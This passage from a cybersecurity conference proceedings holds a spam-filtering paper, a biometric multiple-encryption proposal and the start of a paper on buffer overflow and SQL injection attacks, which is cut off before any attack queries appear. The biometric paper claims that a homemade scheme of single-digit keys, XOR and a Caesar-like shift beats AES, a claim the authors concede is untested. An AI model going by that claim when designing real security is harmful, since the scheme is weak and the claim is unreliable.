8. Chakradeo S, Reaves B, Traynor P, Enck W (2013) MAST: triage for market-scale mobile
malware analysis. In: Proceedings of security and privacy in wireless and mobile networks,
ACM
9. Shabtai A, Kanonov U, Elovici Y, Glezer C, Weiss Y (2012) Andromaly: a behavioral
malware detection framework for android devices. J Intell Inf Syst 38(1):161–190
10. Enck W, Ongtang M, McDaniel PD (2009) On lightweight mobile phone application
certification. In: ACM conference on computer and communications security, pp 235–245.
ACM
11. Felt AP, Chin E, Hanna S, Song D, Wagner D (2011) Android permissions demystified. In:
ACM conference on computer and communications security, pp 627–638. ACM
12. Wu D, Mao C, Wei T, Lee H, Wu K (2012) Droidmat: android malware detection through
manifest and API calls tracing. In: AsiaJCIS, pp 62–69. IEEE
13. Cen L, Gates C, Si L, Li N (2013) A probabilistic discriminant model for android malware
detection with decompiled code. In: Dependable and secure computing, IEEE
14. Drebin Dataset. http://user.cs.uni-goettingen.de/*darp/drebin/
15. Androguard. http://code.google.com/p/androguard/
16. Largeron C, Moulin C, Gry M (2011) Entropy based feature selection for text categorization.
In: SAC, pp 924–928. ACM
17. Sebastiani F (2002) Machine learning in automated text categorization. ACM Comput Surv
34:147
18. Weka. http://www.cs.waikato.ac.nz/ml/weka
Composite Email Features for Spam
Identification

Princy George and P. Vinod

Abstract An approach is proposed in this work to search for composite email

features by applying a language-specific technique known as NLP (Natural
Language Processing) in email spam domain. Different style markers are employed
on Enron-spam dataset to capture the nature of emails written by spam and ham
email authors. Mainly, features from five categories, consisting of character-based
features, word-based features, tag-based, structural features, and Bag-of-Words, are
extracted. Dimensionality reduction is applied subsequently using TF–IDF–CF
(Term Frequency–Inverse Document Frequency–Class Frequency) feature selection
method in order to choose the prominent features from the huge feature space. The
experiments are carried out on individual feature as well as composite feature
models. A promising performance is produced by composite model with an
F-measure of 0.9935 and minimum FPR of 0.0004.

Keywords Email
Ham
Spam
Style markers
Dimensionality reduction

Composite model

1 Introduction

Email is one of the most popular means of communication in the era of Internet.
Spam, referred to as unsolicited commercial email (UCE) or unsolicited bulk email
(UBE) [1], consumes most of the bandwidth. Moreover, it can also quickly con-
sume server storage space. It is observed that the nature and the characteristics of
spams change over time [2] and this demanded efficient approach for filtering
unwanted emails. There are many techniques designed and developed to categorize

P. George (&)
P. Vinod

Department of Computer Science & Engineering,
SCMS School of Engineering & Technology, Ernakulam, Kerala, India
e-mail: [email protected]
P. Vinod
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 281

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_28
282 P. George and P. Vinod

emails. All these methods look for some known patterns or features (words) alone
that usually appear in spam or ham messages, to classify the emails. These methods
do not consider the syntactic and the semantic peculiarities of the messages. This
was the primary motivating factor to discover varied features existing in the spam
emails. Also, the studies done on author gender identification [3] by applying NLP
[4, 5] became another inspiration behind this proposed work to investigate the
contribution of tag-based features and other linguistic attributes in developing an
email spam classification model with minimum FPR. Contributions of our approach
are (a) prepared an efficient model for classification of spam and ham mails,
(b) higher performance is obtained by applying feature selection method, (c) eval-
uated efficiency of each category of attribute set in spam categorization, and (d) an
overall performance, i.e., F-measure of 0.9935 with a smaller FPR of 0.0004 jus-
tifying the applicability of our proposed approach in real-time spam filtering
system.
The reminder of the paper is organized as follows. In Sect. 2, a review of the
related works is done. The proposed mechanism is described in Sect. 3. Section 4
discusses details of experiments and the results of the study. Finally, inferences are
included in Sects. 5 and 6 presents the concluding remarks of the study.

2 Related Works

In [3], an author gender identification technique was proposed and it could achieve
accuracy of 85.1%. A new one-class ensemble scheme is put forward, which uses
meta-learning to combine one-class classifiers in [6]. Blanzieri and Bryl [7] have
discussed various machine learning applications for email spam filtering. Menahem
et al. [8] implemented a new sender reputation mechanism based on an aggregated
historical dataset. In [9], the authors designed a fusion algorithm based on online
learners and experimented on TREC (Text REtrieval Conference) and other data-
sets. Comprehensive review on machine learning approaches to spam filtering is
discussed in [10]. Drucker et al. [11] investigated the applicability of Support
Vector Machines (SVMs) in classifying email as spam or legitimate mail.
Three-layer Backpropagation Neural Network (BPNN) technique is implemented
on datasets PU1 and Ling, resulting in 97 and 99% of classification accuracy with
less execution time [12]. A three-way decision approach (accept or reject or further
exam) is discussed and experiments on SpamBase dataset resulted in reduced
misclassification rate in [13]. Wu [14] utilized spamming behaviors with a back-
propagation neural network, employed on datasets from Hopkins, Reeber, etc. to
achieve improved performance (FPR = 0.0063).
Composite Email Features for Spam Identification 283

3 Proposed Methodology

Email spam detection process is carried out through different steps (refer Fig. 1) and
evaluated over Enron-spam dataset [15, 16]. The following subsections introduce
the proposed approach.

3.1 Preprocess Dataset

Email body is extracted from each email in the dataset. The resulted collection of
extracted email body is partitioned into train and test (60:40 ratio). Style markers
are treated as features in our approach. There are 31 characters, 38 words, 35 tags, 3
structural features, and 10,280 Bag-of-words extracted from mail body.
• Character-based features [3] include total number of characters (C), ratio of
total number of lower case letters (a–z) and C, ratio of total number of uppercase
characters and C, fraction of total number of digital characters and C, fraction of
total number of white-space characters and C, ratio of total number of tab space
characters and C, and fraction of number of special characters and C (25 special
symbol features).
• Word-based features [3] consist of total number of words (N), average length
per word, ratio of total different words and N, fraction of words longer than 6
characters and N, ratio of total number of short words (1–3 characters) and N,
Guirad’s R, Herdan’s C, Rubet’s K, Maa’s A, Dugasts U, L. Janenkov and
Neistoj Measure, Sichel’s S, Yule’s K measure, Simpson’s D measure, Hapax
Dislegomena, Hapax legomena, Honore’s R measure, Entropy, and ratio of
word length frequency distribution and N.

Fig. 1 Framework for email spam filtering

284 P. George and P. Vinod

• Function words [3] (or grammatical words or tag-based features) are words that
express grammatical relationships with other words within a sentence. Tags are
extracted from email text using NLTK (Natural Language Tool Kit) [17] in
python, and Part-of-Speech (POS) [18] tagging is done using Penn Treebank [5]
tag set.
• Structural features [3] represent the way an author organizes the layout of a
message. The main features are total number of lines, total number of sentences
(S), and average number of words per sentence.
• In Bag-of-Words, all sentences in each email body are tokenized into a set of
words and frequency of every term is counted within each file (called as term
frequency).

3.2 Application of Feature Selection Method

Feature selection determines optimal attributes from a huge attribute space without
changing physical meaning of the attribute. The main benefits of dimensionality
reduction (or feature selection) are (a) elimination of redundant features, (b) re-
duction in noise thereby increases accuracy of classifiers, (c) reduction of time
complexity of classification, and (d) minimization of over-fitting of the training
data.
A weighting method called TF–IDF–CF [19] is applied in our proposed
approach. This method is developed based on TF–IDF (Term Frequency–Inverse
Document Frequency). It says that if a term appears in more documents, then it
becomes less important, and the weighting will also be less. A new attribute, called
as class frequency, is introduced to assess the frequency of each term in every
document within a specific class. A general form of TF–IDF–CF is shown in
Eq. (1).

aij ¼ logðtfij þ 1:0Þ  logððN þ 1:0Þ=nj Þ  ðncij =Nci Þ ð1Þ

In Eq. (1), tfij indicates the term frequency of term j in document i, N is the total
number of instances in the dataset, and nj indicates the number of documents that
term j occurs. The term ncij represents the number of files within the same class
c where document i belongs to and term j appears, Nci gives the total count of
documents within the same class c where document i belongs to. The algorithm for
extracting significant words is given below.
Composite Email Features for Spam Identification 285

3.3 Generation of Classification Models and Prediction

Feature selection produces a reduced feature vector table (FVT) which is taken as
the input for training the classifiers. Multinomial Naïve Bayes (MNB) and support
vector machine are used as classifiers in this investigation. Individual training
models are created for each category of feature during training phase. The model
with highest F-measure is chosen for prediction. Finally, the optimal models
obtained from each category of features are aggregated to develop a composite
feature space used for building spam and ham model, subsequently used for
prediction.

4 Experimental Setup and Results

The experiment was performed on Ubuntu 14.04 platform with the support of Intel
core 7 and 8 GB RAM. In this work, 12,045 ham and 4496 spam emails have been
chosen from Enron-spam dataset. The classification models are generated by
LibSVM (kernels k0 (Linear), k1 (Polynomial), k2 (Radial), and k3 (Sigmoid)), and
Multinomial Naïve Bayes (MNB) in WEKA [20]. When a ham is misclassified as
spam, a false positive (FP) occurs. If ham data is predicted as ham then it is known
as true negative (TN), whereas if spam is correctly classified as spam data then it is
true positive (TP). When a spam is wrongly taken as ham, it is considered as false
negative (FN) [21, 22]. In this analysis, F-measure (also called as F1-score) and
286 P. George and P. Vinod

FPR are used as the significant evaluation parameters. The F1-score can be inter-
preted as a weighted average of the precision and recall, and it ranges from 0 to 1.
Precision (P) is a measure of the accuracy provided that a specific class has been
predicted. Recall (R) measures the proportion of actual positives which are correctly
identified as such.

F-measure ¼ 2PR=ðP þ RÞ ð2Þ

P ¼ TP=ðTP þ FPÞ ð3Þ

R ¼ TP=ðTP þ FNÞ ð4Þ

FPR ¼ FP=ðFP þ TNÞ ð5Þ

Figures 2, 3, and 4 depict F-measure, FPR, and Time parameters, respectively,

obtained for six feature sets, represented as C, W, T, S, B, and E (refer Fig. 1) with
five different classifiers (LibSVM-k0, k1, k2, k3, and mnb). The highest F-measure
of value 0.9983 is produced in Bag-of-Words (B) (refer Fig. 2) with a smaller FPR
of 0.0013 by linear SVM for a feature length of size 10,153 (refer Fig. 3), whereas
the composite model could also achieve a very closer F-measure value 0.9935 (refer
Fig. 2) with lowest FPR rate of 0.0004 (see Fig. 3) in comparison with all other
models with linear SVM classification. From Fig. 4, it is clear that MNB takes less
execution time but produces insignificant performance for various style markers.
The top ten features from character-based, word-based, tag-based, bag-of-words,
and all three variables from structural attribute set are given in Table 1. These
attributes are found to have higher variance in target classes thereby stands as
representative features of writing styles adopted by email spammers [23, 24].

Fig. 2 F-measure versus

classifiers
Composite Email Features for Spam Identification 287

Fig. 3 FPR versus classifiers

Fig. 4 Time versus

classifiers

5 Inferences

It has been analyzed that SVM classifier performs well with large number of
features, but it is computationally expensive. Performance is observed higher when
stop words are removed from the text before model construction. Independent style
markers with small number of features produced insignificant results in terms of
F-measure, which is clearly visible for character-based, word-based, and structural
features. Hence, these attributes are not sufficient enough to prepare an efficient
spam filtering model independently. This is due to the absence of attributes having
high correlation with target class. As the features in the feature space increase, the
performance also improves, since relevant attributes contributing to the effective
classification appear as a candidate in the optimal feature space. This is why
bag-of-words produced a highest F-measure with larger feature space of size
10,153. Tag-based attributes and bag-of-words played an important role in the
generation of composite model as they could produce lower FPR value and an
288 P. George and P. Vinod

Table 1 Top features from each attribute category

Character Word Tag Structural BoW
| Words with Foreign word Total number of lines Php
length 20
% Words with -None- Total number of sentences Sex
length 18
_ Words with Adjective, Average number of words Meds
length 17 superlative per sentences
} Words with Noun, proper Medications
length 19 singular
¼ Words with Adjective, Pill
length 16 comparative
+ Words with Adverb, Macromedia
length 15 comparative
$ Words with Adverb, Dose
length 13 superlative
{ Words with Pronoun, Mai
length 14 possessive
` Words with Predeterminer Tongue
length 12
* Honore’s R Adverb Wi

appreciating F-measure in its independent model generation. Therefore, ensemble

of different sets of style markers resulted in better performance. Finally, it has been
analyzed from the investigation that composite feature space could greatly reduce
misclassification of ham messages as spam. This is proved by lowest FPR value
(0.0004) produced by composite model along with a high F-measure (0.9935)
compared to all independent models generated in our study. This makes our pro-
posed meta-feature model a good detector system in the real-time applications.

6 Conclusion

In the investigation for email spam classification, TF–IDF–CF is the dimensionality

reduction method, applied on various style markers such as character-based,
word-based, tag-based, structural, and bag-of-words to choose relevant features
from the large feature space. A vector space model for the relevant features was
constructed and given to classifier through WEKA tool. The composite feature
space generated an effective model for email spam classification, producing a very
high F-measure (0.9935) and a very small FPR (0.0004) in linear support vector
machine than independent models. The study can be extended in future to find out
whether involvement of male or female community is more in email spam
generation.
Composite Email Features for Spam Identification 289

References

1. Zhu Y, Tan Y (2011) A local-concentration-based feature extraction approach for spam

filtering. IEEE Trans Inf Forensics Secur 6(2):486–497
2. Wang D, Irani D, Pu C (2013) A study on evolution of email spam over fifteen years. In:
Bertino E, Georgakopoulos D, Srivatsa M, Nepal S, Vinciarelli A (eds) CollaborateCom,
pp 1–10. ICST/IEEE
3. Cheng N, Chandramouli R, Subbalakshmi KP (2011) Author gender identification from text.
Digital Invest 8.1:78–88
4. Manning CD (1999) Foundations of statistical natural language processing. In: Schutze H
(ed). MIT Press, Cambridge
5. Bird S, Klein E, Loper E (2009) Natural language processing with Python. O’Reilly Media,
Inc.
6. Menahem E, Rokach L, Elovici Y (2013) Combining one-class classifiers via meta learning.
In: Proceedings of the 22nd ACM international conference on information and knowledge
management, ACM
7. Blanzieri E, Bryl A (2008) A survey of learning-based techniques of email spam filtering.
Artif Intell Rev 29.1:63–92
8. Menahem E, Pusiz R, Elovici Y (2012) Detecting spammers via aggregated historical data set.
Network and system security. Springer, Berlin, pp 248–262
9. Xu C, Su B, Cheng Y, Pan W, Chen L (2014) An adaptive fusion algorithm for spam
detection. IEEE Intell Syst 29(4):2–8
10. Guzella TS, Caminhas WM (2009) A review of machine learning approaches to spam
filtering. Expert Syst Appl 36(7):10206–10222
11. Drucker H, Wu S, Vapnik VN (1999) Support vector machines for spam categorization. IEEE
Trans Neural Netw 10.5:1048–1054
12. Ruan G, Tan Y (2010) A three-layer back-propagation neural network for spam detection
using artificial immune concentration. Soft Comput 14(2):139–150
13. Zhou B, Yao Y, Luo J (2010) A three-way decision approach to email spam filtering. In:
Farzindar A, Keselj V (eds) Canadian conference on AI. LNCS, vol 6085. Springer, pp 28–39
14. Wu C-H (2009) Behavior-based spam detection using a hybrid method of rule-based
techniques and neural networks. Expert Syst Appl 36(3):4321–4330
15. Bekkerman R (2004) Automatic categorization of email into folders: benchmark experiments
on Enron and SRI corpora
16. The Enron-Spam Datasets. http://www.aueb.gr/users/ion/data/enron-spam/
17. Natural Language Tool Kit (NLTK). http://www.nltk.org/
18. POS tagging. http://textminingonline.com/dive-into-nltk-part-iii-part-of-speech-tagging-and-
pos-tagger
19. Liu M, Yang J (2012) An improvement of TFIDF weighting in text categorization. In:
International proceedings of computer science and information technology, pp 44–47 (2012)
20. WEKA-Data Mining Software in Java. http://www.cs.waikato.ac.nz/ml/weka
21. Han J, Kamber M (2005) Data mining: concepts and techniques. Kaufmann, San Francisco [u.
a.]
22. Kibriya AM, Frank E, Pfahringer B, Holmes G (2004) Multinomial Naïve Bayes for text
categorization revisited. In: Webb GI, Yu X (eds) Australian conference on artificial
intelligence. LNCS, vol 3339. Springer, Berlin, pp 488–499
23. Metsis V, Androutsopoulos I, Paliouras G (2006) Spam filtering with Naïve Bayes-which
Naïve Bayes? In: CEAS, pp 27–28
24. Bird S (2006) NLTK: the natural language toolkit. In: Proceedings of the COLING/ACL on
interactive presentation sessions, association for computational linguistics
Role of Multiple Encryptions
in Biometric Devices

Himanshu Gupta and C. Aka Assoua Anne-Marie

Abstract This paper debates about the role of multiple encryptions in biometric
devices with a particular focus on the privacy and security benefits of biometric
devices. This research paper is proposed to engage a larger number of data users to
consider the beneficial role of multiphase encryption in biometric devices with
enhanced security solutions. This paper discusses about how multiphase encryption
can be promoted with biometric devices in order to overcome the present loopholes
of the security devices. In current scenario, wireless security demands to provide an
approach for securely verifying the user’s identity, authenticating the data access
and certifying the security applications. The security of data has nowadays become
challenging issues that comprises areas like data encryption, protected communi-
cation channel, and reliable third party to preserve the databases. The immediate
growth in the area of information technology, the super-secure communication of
confidential data is highly required. Biometrics technology has been extensively
used in user’s verification and identification, but there are several security issues to
provide adequate security. Therefore, using multiple encryption techniques in
biometric devices, we can enhance the data security enormously.

Keywords Biometric encryption
Multiple encryptions
Security

1 Introduction

1.1 Biometrics

Biometrics can be defined as an approach which is based on automated methods for

uniquely recognizition based on one or more basic physical or behavioral human

H. Gupta (&)
C. A. A. Anne-Marie

AIIT, Amity University, Noida Sec-125, Uttar Pradesh, India
e-mail: [email protected]
C. A. A. Anne-Marie
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 291

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_29
292 H. Gupta and C. A. A. Anne-Marie

traits for verification purposes. As the matter of fact, everyone in the world is
unique and hence this uniqueness can be used for identity verification. In simple
language, it can be stated that biometric technology is typically considered to
examine human characteristics for identification and security purposes. The most
common parameters which are measured under this technology are fingerprints,
hand, eye, face, and voice. The fingerprints’ identification systems have been
installed as access control systems since 1960s. The biometric product based on the
geometry of the hand was introduced during the 1970s in many access control
applications. Eventually, the systems using biometric technology were enhanced
and moved from the geometry of the hand to the characteristics of the eye. In the
middle of 1980s, the system was executed to analyze the unique patterns of retina
while parallel improvements were on to recognize the iris patterns.

1.2 Multiphase Encryption Technique

Multiphase encryption technique can be stated as a phenomenon through which the

original data is encrypted multiple times with same or different secured encryption
algorithms in each phase of encryption and this process will be occurred multiple
times as per our requirements. Due to which the complexity of the encryption
algorithm is increased to a larger extent [1].
Multiphase encryption algorithm has been proven more secure in comparison of
traditional encryption algorithms such as DES (Data Encryption Standard), AES
(Advance Encryption Standard), and DSS (Digital Signature Algorithm). Using this
approach of encryption, we can ensure the integrity and security of the user’s data
over vulnerable wireless network as internet [2].

1.3 Brief Description of Encryption in Biometrics Devices

The biometric technology may use a two-dimensional image such as fingerprint,

palm print, face recognition, iris, or retina. The subsequent digital key generated is
used as a cryptographic key [2]. And as the common requirement of biometric
technology, the system must comprise of distortion tolerance, discriminative, and
secure. In this research paper, we are going to explain how the multiple encryption
techniques can be implemented to safeguard data in biometric devices [3] (Fig. 1).
This picture explains briefly how the encryption should work in biometric
devices. First, there is a key generator and a sensor that is at the applicant side.
When the user wants to store its data, he just enters the required biometric input,
Role of Multiple Encryptions in Biometric Devices 293

Fig. 1 Encryption process in biometric devices

that is, his eye, voice, fingerprint, or any biometric used for the security purpose.
Then, an image of this metric is generated and a key as well. Both the key and the
image are bind together and stored in the database. After this template has been
saved, the key and the image are just destroyed. If the user wants to access its data
from the database, again the biometric input will be checked with saved template. If
the image matches, then the key is retrieved and the image is discarded. Now, the
user can access the particular application as per his requirement. If the image does
not match, the request is rejected [4, 5].
294 H. Gupta and C. A. A. Anne-Marie

2 Proposed Model

In the proposed model, we recommend a strategy according to which the data

within the biometric device is padded with random number. The method consists of
two phases by default the enrolment phase and the retrieval phase.

2.1 Enrollment Phase

In the implementation of the enrolment phase, two different ciphertexts are used.
For producing image by the sensor at the time of the enrolment phase, two different
ciphers are used. The image produced at the enrollment time is duplicated. A copy
is binded with a cryptographic key and a first biometric encrypted template is
produced. A pseudo-random number (in bits format) is now generated and this
activates the production of a second independent key. The second key is used to
bind the second copy of the image and the first biometric encrypted template
together. And the final encrypted template is produced which is finally stored as
multiple encrypted data. The keys and the images were generated initially and
discarded once the final image is developed and stored.

2.2 Retrieval Phase

When the user wants to access a desired application, two images are taken from the
sensor device. The first image used to decrypt the first biometric encrypted image,
and the second copy of the biometric image is used for verification purpose. The
subsequent keys are retrieved and the user can access the application. If one phase
fails, the process is rejected and access is denied (Fig. 2).

3 Conceptual Framework

3.1 Enrolment Phase

In the enrollment phase, we divide the inner work of proposed multiple encryptions
into three stages:
In the first stage: P1 (a)
When the user wants to log in the first time to a particular application, he just
registers with his biometric input with the help of a sensor. Suppose the biometric
input is the fingerprint. The image of the fingerprint is taken from the sensor, and
Role of Multiple Encryptions in Biometric Devices 295

Fig. 2 Proposed scheme of the multiple encryption in biometric devices

then duplicate copy is generated and saved before being converted into binary
format. Each sample of fingerprint image is called, respectively, as F1(n) and
F2(n) where n is the metric. Then, a pseudo-random number Key(A) is generated
and taken as a cryptographic key. This cryptographic key is a single digit between
0 and 9 that is converted into binary number and then in octal format.
The first function F1(n) is matricized into matrix of (m  m) size where maxi-
mum value of m = 2. Those matrices will be generated sequentially according to
number of binary digits in a line and a column. If there is no enough digit for
making a matrix, then the size of the matrix will be padded with NULL value (0),
which should create a very less distortion (almost null according to the correlation
algorithm).
The next step is doing a matrix multiplication between each and every matrices
and the same Key(A). Results will be written sequentially according to initial
position of matrix. The output from phase 1 is called as biometric encrypted
template as BE(1) which is the first template and is binded with Key(A). One copy
is stored in database for retrieval purpose. Now, the Key(A) input is discarded.
The output of the first part of stage P(1) as BE(1) will be used as the input of the
stage P1(b). The second function that is nothing but the digitized and binary version
of the input image F2(n) is matricized into matrix of (m  m) size where maximum
value of m = 2. The same process as above is followed. Then, BE(1) is multiplied
296 H. Gupta and C. A. A. Anne-Marie

with each and every matrices produced with F2(n) as F2(n): (m  m) * BE(1) =
BE(2). The output is BE(2). The BE(1) input along with the function F2(n) is
discarded. One copy of BE(2) is stored in database.
In the second phase: P2
A pseudo-random number Key(B) is generated and taken as a cryptographic key.
This cryptographic key is a single digit between 0 and 9 that is converted into
binary number of 1 octet.
In this phase, output BE(2) is EXORed with the cryptographic key Key(B)
(Fig. 3).

BEð2Þ EXOR KeyðBÞ ¼ BEð3Þ

The output is a biometric encrypted template BE(3) which is bind with the
cryptographic key, Key(B). Then, BE(3) is stored in database and key(B) is
discarded.
In the last phase: P3
The third pseudo-random key, Key(C), is generated. In this encryption phase, an
idea from Ceaser cipher technique of encryption will be followed.
The cryptographic key is taken as a three-digit octal number, and its value will
predict the position to which it should be added. Suppose the PRNG number is 3

Fig. 3 Enrollment phase

Role of Multiple Encryptions in Biometric Devices 297

and all numbers will be grouped into three digits. And 3 in octal system is 3 = 011.
It means, 011 will be added to each 3th forward position in the list of numbers in
BE(3). If in the first row, we have

BEð3Þ : 1 0 1 1 0 1 0 1 1 1 1 0 1 0 1 0 1 1 0 0 0 1 1 1 01 0 1 1 0 . . .

Every three bits will be grouped together so we get

1 0 1 1 0 1 0 1 1 1 1 0 1 0 1 0 1 1 0 0 0 1 1 1 0 10 1 1 0

To the 3th binary octet, then the 6th, then the 9th in a raw, and so on, we will add
011.
So BE(3) + key(C) = 1 0 1 1 0 1 (0 1 1 + 0 1 1) 1 1 0 1 0 1 (0 1 0 + 0 1 1) 0 0 0
1 1 1 (0 1 0 + 0 1 1) 1 1 0… = 1 0 1 1 0 1 1 1 0 1 1 0 1 0 1 1 0 1 0 0 0 1 1 1 1 0 1 1
1 0… = BE(4)
The result is biometric encrypted template BE(4) which stored in database, bind
with cryptographic key Key(C) and linked to the intended application. Key(C) is
then discarded.

3.2 Retrieval Phase

The retrieval phase is a combination of correlation algorithm, that is, the basic
algorithm in biometric encryption and also, some mathematical operations taken in
a block as multiple encryption different levels. The objective of the retrieval phase
is to allow the user to access a particular application after authentication and ver-
ification (Fig. 4).
At the retrieval phase, the biometric is taken as an input from the sensor. And
this biometric image is digitized, binarized, and then every single bit is compared
with F1(n) copy that was stored in the database. Approximately, 99% match can be
tolerated. If there is a match then the process is pursued, if not, the access is denied.
Then, the Key(A) is released and input image A(n) is matricized as F1(n) and
multiplied with the cryptographic key Key(A). The result is called as BEr(1) and it
is compared with BE(1); if there is a 99% match, then A(n) is discarded and go to
the next phase. If not, process is rejected.
F1(n) is now multiplied with BEr(1) and result is BEr(2). Then, BEr(2) is
compared with BE(2). If there is a 99% match, then Key(B) is released, and BEr(1)
is discarded. If not, the process is rejected. BEr(2) is EXORed with the key,
Key(B), and produces a biometric encrypted BEr(3) sample. Then, BEr(3) is
compared with BE(3).
If there is a 99% match, then Key(C) is released, and BEr(2) is discarded. If not,
the process is rejected. BEr(3) is now Ceaser Ciphered with the cryptographic key
Key(C) like in the enrollment phase. The result is called as BEr(4) and it is
298 H. Gupta and C. A. A. Anne-Marie

Fig. 4 Retrieval phase

compared with BE(4); if there is a 99% match, then the link to the application is
activated and the user gets access to that application. After that, BEr(4) is discarded.
If there is no match, the process is interrupted.
Role of Multiple Encryptions in Biometric Devices 299

4 Future Work

After completion of this research paper, we came across some limitations such as
• Level of security implemented,
• Ease of application access,
• Availability of resources to implement the technology on a common platform,
and
• Time management.
We are planing to work more effectively on the prior aspects of the biometric
technology like enhancing more security. This research paper is only a theoretical
one and we are not 100% sure that everything that we have proposed will effec-
tively work in biometric devices. Everything proposed here will be implemented at
software level. So the next step will be to create an application based on all
above-given mathematical calculations.

5 Conclusion

Here, we proposed the implementation of multiple encryption technique with

biometric technology to provide enhanced security solutions. However, the pro-
posed algorithm also allows the user to produce several keys and random numbers
which comprises of their unique biometric information. The execution of the
multiple encryption technique offers numerous advantages over the current
authentication methods. The proposed technique is convenient to the user and
cannot be shared or forgotten by the user. Furthermore, the need of the unique
cryptographic keys and the pseudo-random numbers is increasing rapidly as the
growing concern about the possible attacks by the intruders.

References

1. Gupta H, Sharma VK (2013) Multiphase encryption: a new concept in the modern

cryptography. Int J Comput Theory Eng 5(4):638–640
2. Wikipedia, Network security and cryptography. https://en.wikipedia.org/wiki/Network_
security, 2017
3. Venkatachalam SP, Kannan PM, Palanisamy V (2009) Combining cryptography with
biometrics technology for enhanced security. In: INCACEC 2009, pp 1–6, June 2009,
ISBN: 978-1-4244-4789-3
4. Le C (2011) A survey of biometrics security systems. Weblink. http://www.cse.wustl.edu/
*jain/cse571-11/ftp/biomet.pdf, 28 Nov 2011
300 H. Gupta and C. A. A. Anne-Marie

5. Tomko G (1998) Biometrics as a privacy-enhancing technology: friend or foe of privacy? In:

Privacy laws & business, 9th privacy commissioners/data protection authorities workshop,
Spain

Author Biographies

Dr. Himanshu Gupta is working as a Senior Faculty Member in the well reputed Indian
university Amity University Uttar Pradesh, Noida. He completed all his academic as well as
professional education from reputed central university Aligarh Muslim University, Aligarh (Uttar
Pradesh) India. He has visited Malaysia, Singapore, Thailand, Cambodia, Vietnam, Indonesia,
Hong Kong, Macau and China for his academic and research work. He has delivered many
Technical Sessions on “Network Security & Cryptography” in the field of Information Technology
in various reputed International Conferences, World Summit and other foreign universities as an
Invited Speaker. He has more than 60 Research Papers and Articles in the field of Information
Technology, which have been published in various reputed Conference Proceedings and Journals.

C. Aka Assoua Anne-Marie is associated with Amity University, Noida as a research student and
having her expertise in Network Technology & Management. She has been associated in many
academic and research activities in the area of Network Technologies. She earned the CCNA
Certification during her stay as a research student in the Amity University, Noida.
Buffer Overflow and SQL Injection:
To Remotely Attack and Access
Information

Mehak Khurana, Ruby Yadav and Meena Kumari

Abstract In today’s electronic world where data is accessed through internet,

intranet, and extranet, the security of the information is an important issue. Buffer
overflow attack in software and SQL injection attack in web application are the two
main attacks which are explained in this paper with the aim to make user understand
that how unintentional flaws get injected, how these flaws lead to vulnerabilities,
and how these vulnerabilities are exploited by the attackers. In this paper, the
real-time attack example is also shown with its screenshots step by step.

Keywords Ethical hacking
Buffer overflow
SQL injection
Vulnerabilities

1 Introduction

In the electronic world, security is the major issue on the internet, intranet, and
extranet. Ethical hacking is a term which is used to increase security by identifying
and overcoming those vulnerabilities on the systems owned by third party. Attacker
uses vulnerabilities as an opportunity to attack software and web application. Thus,
system needs to be protected from attacker so that attacker cannot hack information
and make it misbehave according to him/her. So, ethical hacking is a way to test
and to identify an information technology environment for present vulnerabilities.
Software is used everywhere in the digital world. But due to the flaws in soft-
ware, software fails and attacker takes this as an advantage and uses this oppor-
tunity to make software misbehave and use according to them. Flaws increase the
risk to security. Some of the software developer manages the software risk by

M. Khurana (&)
R. Yadav
M. Kumari

The NorthCap University, Gurgaon, India
e-mail: [email protected]
R. Yadav
e-mail: [email protected]
M. Kumari
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 301

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_30
302 M. Khurana et al.

increasing the complexity of the code, but absolute security cannot be achieved.
According to the literature survey, some of the software flaws which lead to security
vulnerabilities are Buffer Overflow (BO), Incomplete Mediation (IM), and Race
Condition (RC) [1].
The other class of vulnerabilities that exist in the web application can be
exploited through SQL injection. Attacker takes advantage of the unintentional
flaws in the input validation logic of Web components. SQL injection attack leads
to high security risk to the web applications which allow attackers to access
databases completely. These databases contain user information and if this infor-
mation is accessed by the attacker, the confidentiality of the user will be leaked and
thefts and frauds can take place. In many cases, attackers use an SQL injection
vulnerability to take full control of web application and corrupt the system that
hosts the Web application.
Buffer overflow and SQL injections are some of the vulnerabilities in the soft-
ware and the web application, respectively, which are discussed in detail in this
paper.
This paper gives an overview of one of the flaws that exist in the software, i.e.,
buffer overflow and how this flaw leads to the security vulnerabilities that can be
exploited and what are the preventives measures that can be taken to protect it from
the attackers. This paper also explains one of the famous attacker’s techniques to
access information from the database of the web application using Kali Linux.
The SQL queries in Kali Linux that are used to retrieve information from the
database of a web application are shown for a particular website. This paper pro-
vides description and example with screenshot of how these attacks can be per-
formed and what will be the outcome.

2 Buffer Overflow

Buffer overflow is a software flaw which is introduced unintentionally by the

programmer. For example, in a program, while writing a data to an allocated
memory, if data is assigned to the memory which is not allocated, it overruns the
boundary of the allocated memory. Most popular languages C and C++ also do not
have built-in boundary check, i.e., they do not automatically check the data trying
to access memory location of an array is outside the boundaries (total size) of an
array, for example (Table 1).
Here, the total size of array is 10, but the data is assigned at location 30 which is
outside the boundary of an array. Boundary check can eliminate vulnerability. Java
and C # are the languages which have boundary checks but they have performance
penalty for checking so the developer use C and C++ for coding [2]. These buffer
overflow vulnerabilities can be exploited by attackers in many ways:
Buffer Overflow and SQL Injection … 303

Table 1 Program with flaw

(a) Denial-of-Service Attack—Buffer overflow flaw may likely cause system crash,
so attacker exploits this vulnerability to launch denial-of-service attack.
(b) Inject Attack Code—Attacker can manipulate the code to
(i) Overwrite the system data.
(ii) Overwrite the data in the memory in such a way that it transfers the code
to malicious code, i.e., pointer points to injected malicious code. Buffer
overflow vulnerabilities mostly dominate in the class of remote penetra-
tion attack.
Figure 1 shows the structure of memory organization of CPU. Here, text stores
the code of the program, the data section consists of text and static variables, heap
stores dynamic data, and stack section (shown in Fig. 2) stores the dynamic local
variables, parameters of the functions, return address of the function call (where the
